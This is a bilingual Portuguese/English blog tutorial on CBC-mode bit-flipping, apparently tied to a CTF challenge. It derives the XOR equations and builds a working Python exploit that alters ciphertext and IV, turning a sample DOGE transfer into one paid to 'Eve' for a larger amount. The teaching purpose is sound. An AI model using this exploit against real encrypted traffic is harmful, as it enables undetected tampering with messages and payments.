\[\large P_i' = P_i \oplus C_{i-1} \oplus C_{i-1}' \\ \large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i' \\ \large C_0 = IV ^ * \\ \large C_0' = IV' ^ *\]
  • * : Γ‰ possΓ­vel tambΓ©m trabalhar com o IV dependendo do caso, no exemplo do desafio de CTF abordado nesse artigo o ataque envolve modificação do IV

Weponazing

Agora que possuimos uma definição teórica sobre o ataque e o modo de operação CBC, vamos aos exemplos prÑticos. Para facilitar algumas coisas, usaremos duas bibliotecas do python:

$ pip install pycryptodome pwntools

Iniciaremos o seguinte script para gerar o ciphertext que iremos atacar:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

# random generated 16 bytes key
key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
# random generated 16 bytes iv
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 
print('Key: ', key.hex())
print('IV: ', iv.hex())

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
print('Plaintext: ', plaintext)

ciphertext = encrypt(key, iv, plaintext)
print('Ciphertext in bytes:', ciphertext)
print('Ciphertext in hex: ', ciphertext.hex())

Note que o plaintext do exemplo Γ©:

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

Agora vamos ao cenΓ‘rio do ataque:

Alice realiza uma transação DOGECOIN e envia 100 DOGE para BOB, que possuΓ­ o endereΓ§o β€œ[email protected]”. Eve, o atacante pretende realizar um ataque de bitflipping e alterar o destino dos bitcoins para β€œ[email protected]”.

Com o cenΓ‘rio do ataque em mente, podemos montar entΓ£o o plaintext modificado e traΓ§ar nossos bytes β€œalvos”.

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
#                                                  ^^^          

Nesse exemplo prÑtico coloquei os bytes a serem alterados na mesma posição do exemplo teórico buscando um melhor entendimento. Perceba que a diferença entre o plaintext original e o modificado são apenas o terceiro, quarto e quinto byte do terceiro bloco, então temos:

  • B vira E (terceiro byte do terceiro bloco, 34Β° do total)
  • O vira V (quarto byte do terceiro bloco, 35Β° do total)
  • B vira E (quinto byte do terceiro bloco, 36Β° do total)

Lembrando a equação do bit-flipping apresentada em tópicos anteriores:

\[\large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i'\]

Buscando transformar da matemΓ‘tica para o Python, precisamos nos atentar que na formula matemΓ‘tica estamos nos referindo aos blocos de ciphertext/plaintext, onde $i$ representa o nΓΊmero do bloco, quando pensamos em Python, estΓ‘ sendo realizado uma operação β€œbyte a byte”, estamos nos referindo exatamente a posição do byte que queremos modificar em relação ao ciphertext/plaintext, portanto aplicando isso, $i$ agora serΓ‘ a posição do byte a ser modificado no plaintext final, agora teremos que buscar essa mesma posição mas relacionada ao bloco anterior, ou seja, voltando 16 bytes para trΓ‘s, logo $C_{i-1}’$ seria em python mod_ciphertext[i - 16].

target_pos = i
mod_ciphertext[i - 16] = plaintext[i] ^ ciphertext[i - 16] ^ mod_plaintext[i]
# mod_ciphertext = original_byte_plaintext ^ original_ciphertext_in_previous_block ^ malicious_mod_plaintext_byte

Perceba, Γ© uma operação relacionada diretamente aos bytes! Caso vocΓͺ esteja buscando uma operação em python que defina todo esse artigo, estΓ‘ logo acima, se Γ© pra lembrar de algo lembre dela!

Bit-flipping attack

Para aplicar essa operação no script e realizar o ataque, precisamos modificar um pouco o código, adicionando uma função de decrypt (para testar se o ataque funcionou). Note que existe uma key no código, mas apenas para criar o ciphertext e depois realizar o decrypt, ela não é usada no ataque.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

def decrypt(key, iv, ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, 16) 
    # remove padding
    return plaintext

key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
original_plaintext = plaintext
ciphertext = encrypt(key, iv, plaintext)

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

target_pos1 = 34 # B to E
target_pos2 = 35 # O to V
target_pos3 = 36 # B to E

mod_ciphertext = bytearray(ciphertext)

# change B to E in position 34
mod_ciphertext[target_pos1 - 16] = ord('B') ^ ciphertext[target_pos1 - 16] ^ ord('E') # xor operation
# change O to V in position 35
mod_ciphertext[target_pos2 - 16] = ord('O') ^ ciphertext[target_pos2 - 16] ^ ord('V') # xor operation
# change B to E in position 36
mod_ciphertext[target_pos3 - 16] = ord('B') ^ ciphertext[target_pos3 - 16] ^ ord('E') # xor operation

print('[+] Old ciphertext: ', ciphertext.hex())
print('[+] New ciphertext: ', mod_ciphertext.hex())

print('[-] Decrypting...')

mod_plaintext = decrypt(key, iv, mod_ciphertext)

print('[+] Original plaintext: ', original_plaintext)
print('[+] Modified ciphertext ', mod_plaintext)

E de resultado temos:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

Conseguimos alterar o plaintext! O nosso ciphertext malicioso e modificado entrou no decrypt e no final obtivemos o plaintext modificado! Por si sΓ³, o ataque foi concluido, mas como pode ser percebido, o plaintext final ficou com certos bytes estranhos, que nΓ£o condizem com o plaintext original.

Variations

Antes de iniciar o tópico de variaçáes do ataque, gostaria de trazer novamente a imagem que representa o ataque de bit-flipping.

Perceba as cores e idendifique-as no print do terminal que contΓ©m o resultado do ataque.

  • Amarelo: Os bytes modificados do ciphertext
  • Verde: O plaintext modificado
  • Vermelho: Os bytes correspondentes do bloco anterior aos bytes do plaintext modificado; o bloco inteiro foi prejudicado, afetando o plaintext final.

A conclusão em relação a parte de cor vermelha é: Como o ciphertext foi alterado para modificação do plaintext, esse bloco alterado do ciphertext, quando passar pela função de decrypt resultarÑ em um bloco plaintext diferente e alterado.

Recursively in each block

O pensamento que o atacante deverΓ‘ ter nessa hora Γ© um pensamento ligado a recursividade, agora temos um ciphertext modificado, que produz um plaintext com um endereΓ§o de e-mail malicioso (EVE), porΓ©m esse plaintext possui bytes errados no meio dele. Pois entΓ£o, com isso temos a mesma situação do Γ­nicio, Um plaintext que conhecemos que precisa ser alterado (alterar os bytes que sairam errado para os bytes certos que conhecemos do plaintext)…

No primeiro exemplo, o ataque foi realizado em cada byte, β€œlinha por linha” no python, mas o ideal seria uma função genΓ©rica que fizesse o ataque. Portanto, aqui se inicia a fase do desenvolvimento do algoritimo para realizar ataques de bit-flipping em CBC automaticamente.

Γ‰ claro que isso dependeria do atacante ter acesso ao resultado inteiro do plaintext final, sem isso, Γ© impossΓ­vel seguir os prΓ³ximos passos. Ou seja, de alguma forma o atacante tem que ser capaz de enviar um ciphertext e obter o resultado do decrypt desse ciphertext.

Exploit

Para iniciar a automação do ataque, primeiro é necessÑrio encontrar uma forma de encontrar as diferenças entre um conjunto de bytes e outro, no nosso caso, entre o plaintext original e o modificado, encontrando essas diferenças, as posiçáes de cada byte a ser modificado devem ser guardadas.

Basicamente o que faremos Γ© um diff, e o que usaremos serΓ‘ uma das propriedades do XOR:

\[\large A \oplus A = 0 \\ \large A \oplus B \ne 0\]

Algo XOREADO com ele mesmo Γ© sempre Null, se for algo diferente dele mesmo, sempre resulta em algo diferente, tente executar o script a seguir:

from termcolor import colored
from pwn import xor

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    # just to visualize what is happening in colors, ignore
    og = ''
    for i, b in enumerate(original_plaintext):
        if i in diff_positions:
            og += colored(chr(b), 'red')
        else:
            og += chr(b)
    mod = ''
    for i, byte_ in enumerate(modified_plaintext):
        if i in diff_positions:
            mod += colored(chr(byte_), 'green')
        else:
            mod += chr(byte_)
            
    print('[+] Original plaintext: ', og)
    print('[+] Modified plaintext: ', mod)
    print('[+] Positions to be modified: ', diff_positions)

Output:

Agora temos uma forma de saber o que deve ser alterado e o que deve ser mantido. Seguindo a lógica desenvolvida, vamos adicionar no código um algoritimo para alterar cada um desses bytes de plaintext nessas posiçáes alterando o ciphertext nessas posiçáes - 16.

OBS: Talvez vocΓͺ tenha pensado: β€œMas e as posiçáes a serem alteradas que forem menores que 16?”. Para essas posiçáes terΓ­amos que alterar o IV, vamos trabalhar com isso mais tarde, portando, por enquanto vamos pegar apenas as posiçáes que forem >= que 16.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext)
    return ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 100 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext = bit_flipping(original_plaintext, mod_plaintext, ciphertext)

print(decrypt(key, iv, new_ciphertext))

A função pega posiçáes e altera o ciphertext do bloco anterior usando a fΓ³rmula $C_{i-1}’= P_i \oplus C_{i-1} \oplus P_i’$ (linha 13), e ao final retorna o ciphertext.

Executando temos como output:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

Exatamente o que tinhamos antes, agora para brincar mais um pouco, experimente alterar mais coisas do ΓΊltimo bloco do plaintext, usando um mod_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]' (alterando do dominio do e-mail) temos: b'DOGECOIN transac]p\xc7P\xb6?)\xb6\xbb\x8av\x8c\xb68\x01\xe9o [email protected]'. Pode ver que foi alterado.

Agora temos uma parte do exploit, uma função capaz de identificar os bytes a serem alterados e realizar o ataque de forma automÑtica, mas ainda temos alguns problemas, o plaintext final ainda fica errado, agora sim vamos aplicar a recursividade que foi falada nos tópicos anteriores.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    return new_ciphertext

Para usar a recursividade ao nosso favor, o que o algoritimo faz é encarar o ciphertext modificado que gera o plaintext estranho, como um novo ciphertext a ser modificado, então rodamos recursivamente a função (linha 22) usando como alvo o new_ciphertext (esse ciphertext que gera o plaintext errado). Note que ainda no while é pego apenas do 16 byte para frente, isso pois ainda não começamos a mexer no IV.

ApΓ³s executar temos: b'\xc6\xd1\xad=\xabF\xd6\xcbE\r\x0b\xfe\xa8\x0b<Ftion: 100 DOGE to [email protected]'

Deu certo! Agora o segundo bloco que estava vindo errado ja aparece, para brincar um pouco podemos modificar por exemplo o valor da transação para 999. Rodando temos:

b'\x08\xd4\xf1\x92\x90\x16\xd4\x07\x8c\xaa\xc4\xc9\x9c\xad\xd28tion: 999 DOGE to [email protected]'

Note que ainda temos um plaintext final que tem bytes errados, os pertencentes ao primeiro bloco, como arrumar? Para isso teremos que entrar em uma variação do ataque de bitflipping, a que o atacante consegue modificar o IV utilizado na função de decrypt. Alterando o IV, poderemos arrumar o primeiro bloco, e assim teremos um plaintext 100% limpo.

E como alterar o IV? Usando a equação geral chegamos em:

\[\large C_{1-1}' = C_0' = IV' = P_1 \oplus IV \oplus P_1' \\ \large C_0 = IV\]

A fim de aplicar isso no nosso algoritimo temos que modificar nossa função adicionando dois novos argumentos, o changeiv e o iv.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes, changeiv=False, iv=None):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext) # this ciphertext is wrong

    # recursively call the function until the modified plaintext is equal to the plaintext

    mod_final_plaintext = decrypt(key, IV, ciphertext) # the attacker needs to be able to decrypt the ciphertext
    new_ciphertext = ciphertext ## need to change the ciphertext again
    
    while mod_final_plaintext[16:] != modified_plaintext[16:]:
        new_ciphertext = bit_flipping(mod_final_plaintext, modified_plaintext, new_ciphertext)
        mod_final_plaintext = decrypt(key, IV, new_ciphertext)

    if changeiv == True:
        # the firts 16 bytes of our modified plaintext are wrong, so we need to change the iv, lets get exactly the first 16 bytes wrongs positions of the plaintext
        # like diff again      
        wrong_positions = []
        for position, byte_ in enumerate(mod_final_plaintext[:16]):
            x = xor(mod_final_plaintext[position], modified_plaintext[position])
            if x != b'\x00':
                wrong_positions.append(position)

        # iv to change   
        new_iv = list(iv)
        for wrong_position in wrong_positions:
            new_iv[wrong_position] = mod_final_plaintext[wrong_position] ^ iv[wrong_position] ^ modified_plaintext[wrong_position]
        new_iv = bytes(new_iv)

        # return a tuple contaning the new ciphertext and the new iv
        return new_ciphertext, new_iv

    return new_ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 999 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

Ao checar se Γ© necessΓ‘rio mudar o iv (linha 26), primeiro Γ© executado a parte do diff, para conseguir as posiçáes exatas do que deve ser mudado, a aplicação da equação ocorre na linha 38, onde o new_iv Γ© modificado utilizando a equação. Note que nΓ£o Γ© utilizado algo como position - 16, isso por que o IV Γ© outra coisa, a parte do ciphertext, o que fazemos Γ© apenas refletir a posição para ele, ja que ambos o primeiro bloco do ciphertext e o IV possuem 16 byres de tamanho. ApΓ³s a execução temos como resultado: b'DOGECOIN transaction: 999 DOGE to [email protected]'

Agora sim, um plaintext final perfeito! Como de costume, para brincar, experimente mudar o mod_plaintext para apenas espaΓ§os vazios…

original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'                                                '

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext, new_iv = bit_flipping(original_plaintext, mod_plaintext, ciphertext, changeiv=True, iv=iv)

print(decrypt(key, new_iv, new_ciphertext))

Executando…

image

Da certo também, isso prova que agora é possível fazer qualquer tipo de alteração.

Conclusion

Após algumas pesquisas, não encontrei muitos ataques ou vulnerabilidades que envolvam especificamente bit-flipping em CBC, acredito que até então se trate de uma vulnerabilidade teórica, que normalmente é encontrada em desafios de CTF de criptografia. Encontrei dificuldade em pesquisar sobre o tema pela complexidade dele, e pelo fato de muitos artigos estarem focados em desafios de CTF especificos, então decidi escrever esse artigo para abordar o tema de forma geral, sem desafios de CTF envolvidos, trazer a teoria e as operaçáes matemÑticas buscando abordar um exemplo e carrega-lô até o final com o objetivo de construir um algoritimo/exploit genérico para qualquer situação (dentro das variaçáes do ataque).

Γ‰ importante ressaltar que esse artigo foi construido a partir de uma pesquisa e estudo pessoal, portanto, pode conter erros, caso encontre algum, por favor, me avise para que eu possa corrigir. Caso isso aconteΓ§a, mande um e-mail para: [email protected] ou abra uma issue no repositΓ³rio desse blog.

Obrigado por ler!

A deep look into Cipher Block Chaining (CBC) Algorithm Bit Flipping

The motivation for this article came after a long journey trying to study a bit flipping attack on the CBC (Cipher Block Chaining) mode cipher. The conclusion of my initial journey in this study took place after the construction of a CTF challenge that I created for an event by Boitatech. This article will cover the theory behind the attack.

Portuguese version: here πŸ‡§πŸ‡·

Primitives

Before we start, we should note some interesting readings or knowledge to assist all the logic are the general concepts of cryptography, properties of XOR operations and of course, for the resolution of the examples, Python programming.

As described in Wikipedia about modes of operation including CBC, they only guarantee the confidentiality of the message, but the integrity is affected. This is very important considering the bit-flipping attack that explores precisely this property.

AES CBC

The CBC mode is one of the modes of operation of AES (Advanced Encryption Standard) a symmetric encryption algorithm, which means that the same key is used both to encrypt and decrypt the data.

Encryption

The CBC as the name says refers to the operation of the algorithm, which divides the plaintext into blocks, and each block is always considered in the operation of the following block, the following image shows the process.

As the first block does not have a previous block, what is used is the Initialization Vector, better known as IV, so an XOR operation is done being the 1st plaintext block $\oplus$ IV, the result is sent to the AES function which will result in the first block of ciphertext, note that this block also goes to the XOR of the second plaintext block and thus the process repeats itself with the other blocks.

The mathematical formula would be:

\[\large C_i=E_k(P_i \oplus C_{i-1}) \\ \large C_0=IV\]

Decryption

The decryption process follows the reverse logic of the encryption process. The first block of ciphertext is used in the decryption function, and this result is XORed with the IV to give the plaintext. Note that at the beginning, the first block of ciphertext is passed to the second stage in an XOR operation with the result of the decryption function of the second block. This process keeps repeating, always considering the previous blocks.

In the mathematical formula:

\[\large P_i=D_k(C_i) \oplus C_{i-1} \\ \large C_0 = IV\]

The exploitation of bit-flipping, which will be addressed in the next topics, occurs due to problems in the way the CBC’s decryption process takes place. Understanding it is crucial for the execution of the attack.

Bit flipping basics

Alice and Bob

The idea of bit-flipping can be explained by considering the scenario in the image above, where there is an insecure communication channel. For the purpose of our example, let’s assume that Alice will send a message to Bob. This message will be encrypted by Alice, so what will actually be sent is the ciphertext. Eve, the attacker, will intercept the ciphertext in the channel, and by carrying out the bit-flipping attack, will modify the content of the plaintext from the ciphertext without knowing the key. Thus, when Bob decrypts the message after receiving it, he will end up with a modified plaintext. The confidentiality of the message has been maintained, as it continued to be encrypted and its plaintext confidential; however, the integrity was affected since the plaintext was altered by Eve.

TLDR; bit-flipping is altering the final plaintext

I believe things will become clearer during the exploration and examples, but keep the TLDR in mind, what we’re talking about here is modifying the content of messages without knowing the key. Throughout the article, it will become clear that there are variations of the exploitation depending on how much the attacker knows about the original plaintext and other factors related to the encryption operation in question.

Understanding the problem

As discussed earlier, the bit-flipping attack on CBC is due to the decrypt process and is related to XOR operations.

Analyzing the above image we have:

  • Decrypt process being performed;
  • A plaintext/ciphertext of 3 blocks of 16 bytes, 3 * 16 bytes = 48 bytes in total

For the sake of example, let’s consider the following goal: We want to change the third, fourth and fifth bytes of the third block. In this case we know the original plaintext.

To do this it will be necessary to modify the third, fourth and fifth bytes of the second block. Notice that they are part of the XOR operation: $P_3 = D_k(C_3) \oplus C_2$, being:

  • $P_3$ the plaintext of the third block;
  • $C_2$ the ciphertext of the second block;
  • $D_k(C_3)$ the result of the decrypt of block 3;

The bit-flipping attack aims to change the final plaintext, in our case the altered plaintext will be $P_3’$, for this to happen, we should change the ciphertext, in our case the ciphertext of the previous block, we will call it $C_2’$, follows the logic:

Follow the operations below:

  • Starting with:
\[\large P_3 = D_k(C_3) \oplus C_2 \\ \large D_k(C_3) = P_3 \oplus C_2\]
  • Considering a modified plaintext we would have:
\[\large P_3'=D_k(C_3) \oplus C_2'\]
  • The common factor between the equations is $D_k(C_3)$, therefore replacing in the modified plaintext equation, we have:
\[\large P_3'= P_3 \oplus C_2 \oplus C_2' \\ \large C_2' = P_3 \oplus C_2 \oplus P_3'\]

Notice how the last equation turned out, we have a definition as being modified ciphertext = original plaintext $\oplus$ original previous ciphertext $\oplus$ plaintext that the attacker wants. The most interesting thing of all is that at no time do we need the key or understand the functions $E_k()$ and $D_k()$ we can reach an equation to carry out the attack just with XOR properties.

General bit flipping equation:

\[\large P_i' = P_i \oplus C_{i-1} \oplus C_{i-1}' \\ \large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i' \\ \large C_0 = IV ^ * \\ \large C_0' = IV' ^ *\]
  • * : It is also possible to work with the IV depending on the case, in the example of the CTF challenge covered in this article the attack involves modification of the IV

Weaponizing

Now that we have a theoretical definition about the attack and the CBC operation mode, let’s move on to practical examples. To simplify some things, we will use two python libraries:

$ pip install pycryptodome pwntools

We will start the following script to generate the ciphertext that we will attack:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

# random generated 16 bytes key
key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
# random generated 16 bytes iv
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 
print('Key: ', key.hex())
print('IV: ', iv.hex())

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
print('Plaintext: ', plaintext)

ciphertext = encrypt(key, iv, plaintext)
print('Ciphertext in bytes:', ciphertext)
print('Ciphertext in hex: ', ciphertext.hex())

Note that the plaintext of the example is:

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

Now let’s go to the attack scenario:

Alice performs a DOGECOIN transaction and sends 100 DOGE to BOB, who has the address β€œ[email protected]”. Eve, the attacker plans to carry out a bitflipping attack and change the destination of the bitcoins to β€œ[email protected]”.

With the attack scenario in mind, we can then set up the modified plaintext and outline our β€œtarget” bytes.

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
#                                                  ^^^          

In this practical example I placed the bytes to be changed in the same position as the theoretical example looking for a better understanding. Notice that the difference between the original plaintext and the modified one are only the third, fourth and fifth byte of the third block, so we have:

  • B turns into E (third byte of the third block, 34Β° total)
  • O turns into V (fourth byte of the third block, 35Β° total)
  • B turns into E (fifth byte of the third block, 36Β° total)

Remembering the bit-flipping equation presented in previous topics:

\[\large C_{i-1}' = P_i \oplus C_{i-1} \oplus P_i'\]

Trying to transform from mathematics to Python, we need to note that in the mathematical formula we are referring to the blocks of ciphertext/plaintext, where $i$ represents the block number, when we think in Python, a β€œbyte by byte” operation is being performed, we are referring exactly to the position of the byte we want to modify in relation to the ciphertext/plaintext, so applying this, $i$ will now be the position of the byte to be modified in the final plaintext, now we will have to find that same position but related to the previous block, that is, going back 16 bytes, so $C_{i-1}’$ would be in python mod_ciphertext[i - 16].

target_pos = i
mod_ciphertext[i - 16] = plaintext[i] ^ ciphertext[i - 16] ^ mod_plaintext[i]
# mod_ciphertext = original_byte_plaintext ^ original_ciphertext_in_previous_block ^ malicious_mod_plaintext_byte

Notice, it’s an operation directly related to the bytes! If you are looking for an operation in python that defines this whole article, it is just above, if you have to remember something remember it!

Bit-flipping attack

To apply this operation in the script and carry out the attack, we need to modify the code a bit, adding a decrypt function (to test if the attack worked). Notice that there is a key in the code, but only to create the ciphertext and then perform the decrypt, it is not used in the attack.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def encrypt(key, iv, plaintext):
    plaintext = pad(plaintext.encode(), AES.block_size) 
    # add padding
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext

def decrypt(key, iv, ciphertext):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, 16) 
    # remove padding
    return plaintext

key = bytes.fromhex('63f835d0e3b9c70130797be59e25c00f')
iv = bytes.fromhex('b05fee43fe4db7c5503b1f6732fedd1b') 

plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'
original_plaintext = plaintext
ciphertext = encrypt(key, iv, plaintext)

mod_plaintext = 'DOGECOIN transaction: 100 DOGE to [email protected]'

target_pos1 = 34 # B to E
target_pos2 = 35 # O to V
target_pos3 = 36 # B to E

mod_ciphertext = bytearray(ciphertext)

# change B to E in position 34
mod_ciphertext[target_pos1 - 16] = ord('B') ^ ciphertext[target_pos1 - 16] ^ ord('E') # xor operation
# change O to V in position 35
mod_ciphertext[target_pos2 - 16] = ord('O') ^ ciphertext[target_pos2 - 16] ^ ord('V') # xor operation
# change B to E in position 36
mod_ciphertext[target_pos3 - 16] = ord('B') ^ ciphertext[target_pos3 - 16] ^ ord('E') # xor operation

print('[+] Old ciphertext: ', ciphertext.hex())
print('[+] New ciphertext: ', mod_ciphertext.hex())

print('[-] Decrypting...')

mod_plaintext = decrypt(key, iv, mod_ciphertext)

print('[+] Original plaintext: ', original_plaintext)
print('[+] Modified ciphertext ', mod_plaintext)

And as a result we have:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

We managed to change the plaintext! Our malicious and modified ciphertext entered the decrypt and in the end we obtained the modified plaintext! By itself, the attack was completed, but as can be seen, the final plaintext ended up with certain strange bytes, which do not correspond to the original plaintext.

Variations

Before starting the topic of attack variations, I would like to bring back the image that represents the bit-flipping attack.

Notice the colors and identify them in the terminal print that contains the result of the attack.

  • Yellow: The modified bytes of the ciphertext
  • Green: The modified plaintext
  • Red: The corresponding bytes of the block previous to the bytes of the modified plaintext; the entire block was affected, affecting the final plaintext.

The conclusion regarding the red part is: As the ciphertext was altered for plaintext modification, this altered block of ciphertext, when passed through the decrypt function will result in a different and altered plaintext block.

Recursively in each block

The thinking that the attacker should have at this time is a thought linked to recursion, now we have a modified ciphertext, which produces a plaintext with a malicious email address (EVE), but this plaintext has wrong bytes in the middle of it. So, with this we have the same situation as at the beginning, A plaintext that we know needs to be altered (to change the bytes that came out wrong to the correct bytes we know from the plaintext)…

In the first example, the attack was carried out byte by byte, β€œline by line” in python, but the ideal would be a generic function that carried out the attack. Therefore, here begins the phase of developing the algorithm to automatically perform bit-flipping attacks in CBC.

Of course, this would depend on the attacker having access to the entire result of the final plaintext, without this, it is impossible to follow the next steps. That is, in some way the attacker has to be able to send a ciphertext and obtain the result of the decrypt of this ciphertext.

Exploit

To start the automation of the attack, first it is necessary to find a way to find the differences between one set of bytes and another, in our case, between the original plaintext and the modified one, finding these differences, the positions of each byte to be modified should be saved.

Basically what we will do is a diff, and what we will use will be one of the properties of XOR:

\[\large A \oplus A = 0 \\ \large A \oplus B \ne 0\]

Something XORed with itself is always Null, if it is something different from itself, it always results in something different, try to run the following script:

from termcolor import colored
from pwn import xor

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    # just to visualize what is happening in colors, ignore
    og = ''
    for i, b in enumerate(original_plaintext):
        if i in diff_positions:
            og += colored(chr(b), 'red')
        else:
            og += chr(b)
    mod = ''
    for i, byte_ in enumerate(modified_plaintext):
        if i in diff_positions:
            mod += colored(chr(byte_), 'green')
        else:
            mod += chr(byte_)
            
    print('[+] Original plaintext: ', og)
    print('[+] Modified plaintext: ', mod)
    print('[+] Positions to be modified: ', diff_positions)

Output:

Now we have a way to know what must be changed and what must be kept. Following the developed logic, let’s add to the code an algorithm to change each of these plaintext bytes in these positions by changing the ciphertext in these positions - 16.

NOTE: You may have thought: β€œBut what about the positions to be changed that are less than 16?”. For these positions we would have to change the IV, we will work with this later on, so for now we will take only the positions that are >= 16.

def bit_flipping(original_plaintext: bytes, modified_plaintext: bytes, ciphertext: bytes):
    diff_positions = []
    for position, byte_ in enumerate(original_plaintext):
        x = xor(original_plaintext[position], modified_plaintext[position]) # xor each byte
        if x != b'\x00': # if the result is not null, then it is different
            diff_positions.append(position)
    
    ciphertext = list(ciphertext)
    diff_positions.reverse()
    diff_positions = [position for position in diff_positions if position >= 16]
    
    for position in diff_positions:
        ciphertext[position - 16] = original_plaintext[position] ^ ciphertext[position - 16] ^ modified_plaintext[position] 
    
    ciphertext = bytes(ciphertext)
    return ciphertext
    
original_plaintext = b'DOGECOIN transaction: 100 DOGE to [email protected]'
mod_plaintext =      b'DOGECOIN transaction: 100 DOGE to [email protected]'

ciphertext = encrypt(key, iv, original_plaintext)
new_ciphertext = bit_flipping(original_plaintext, mod_plaintext, ciphertext)

print(decrypt(key, iv, new_ciphertext))

The function takes positions and changes the ciphertext of the previous block using the formula $C_{i-1}’= P_i \oplus C_{i-1} \oplus P_i’$ (line 13), and at the end returns the ciphertext.

When executed, the output is:

b'DOGECOIN transac\xc9L\xba\xf3l\xdatY\xb4\x94\xcd{\xef%+po [email protected]'

